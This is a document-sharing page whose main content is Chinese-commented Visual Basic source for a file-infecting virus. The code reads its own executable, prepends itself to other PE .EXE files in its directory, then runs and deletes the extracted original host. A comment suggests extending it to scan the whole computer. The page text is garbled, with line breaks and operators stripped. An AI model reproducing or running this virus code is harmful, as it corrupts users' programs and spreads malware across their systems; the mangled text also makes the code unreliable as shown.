VB写感染EXE文件代码.docx

  1. 1、本文档共3页,可阅读全部内容。
  2. 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
VB写感染EXE文件代码

Option ExplicitPrivate Victim As String 要感染的文件的名字Private HostLen As Long 要感染的文件的大小Private vbArray() As Byte 病毒的代码Private hArray() As Byte 要感染的文件的代码Private lenght As LongPrivate MySize As Integer 病毒的大小Private Declare Function GetExitCodeProcess Lib kernel32 (ByVal hProcess As Long, lpExitCode As Long) As LongPrivate Declare Function OpenProcess Lib kernel32 (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As LongPrivate Declare Function CloseHandle Lib kernel32 (ByVal hObject As Long) As LongPrivate iResult As LongPrivate hProg As LongPrivate idProg As LongPrivate iExit As LongConst STILL_ACTIVE As Long = H103Const PROCESS_ALL_ACCESS As Long = H1F0FFFPrivate Sub form_Initialize()Dim i As LongOn Error GoTo vbVerror 出错处理原理:将生成病毒文件的代码读出,粘在要被感染的文件的后面。[killv.net]Open App.Path \ App.EXEName .exe For Binary Access Read As #1ReDim MyArray(LOF(1) - 1)MySize = LOF(1)ReDim vbArray(MySize)Get #1, 1, vbArrayClose #1这是在读自己的代码Victim = Dir(App.Path \ *.EXE)随便选一个文件(目前只是在病毒所在的目录下随机选一个,将来你可以修改,让它不断的循环搜索计算机上的所有文件。)While Victim If Format(Victim, ) Format(App.EXEName .EXE, ) ThenOpen App.Path \ Victim For Binary Access Read As #1ReDim hArray(LOF(1))Get #1, 1, hArrayClose #1读出病毒自身的代码If hArray(H69) H4D Theni = hArray(H3C)If hArray(i) = H50 ThenOpen App.Path \ Victim For Binary Access Write As #1Put #1, , vbArrayPut #1, MySize, hArrayClose #1End If 要保证被感染的不是空文件(不是圈套)End IfEnd If读出准备被感染的文件的代码Victim = Dir() NextWend下面的工作是为了保证病毒不会重复感染一个文件,也不会自我感染。Open App.Path \ App.EXEName .exe For Binary Access Read As #1lenght = LOF(1) - MySizeIf lenght 0 ThenReDim vbArray(lenght - 1)Get #1, MySize, vbArrayClose #1Open App.Path \ App.EXEName .eve For Binary Access Write As #1Put #1, , vbArrayClose #1idProg = Shell(App.Path \ App.EXEName .eve, vbNormalFocus)hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)GetExitCodeProcess hProg, iExitDo While iExit = STILL_ACTIVEDoEventsGetExitCodeProcess hProg, iExitLoopKill App.Path \ App.EXEName .eveE

文档评论(0)

xcs88858 + 关注
实名认证
内容提供者

该用户很懒,什么也没介绍

版权声明书
用户编号:8130065136000003

1亿VIP精品文档

相关文档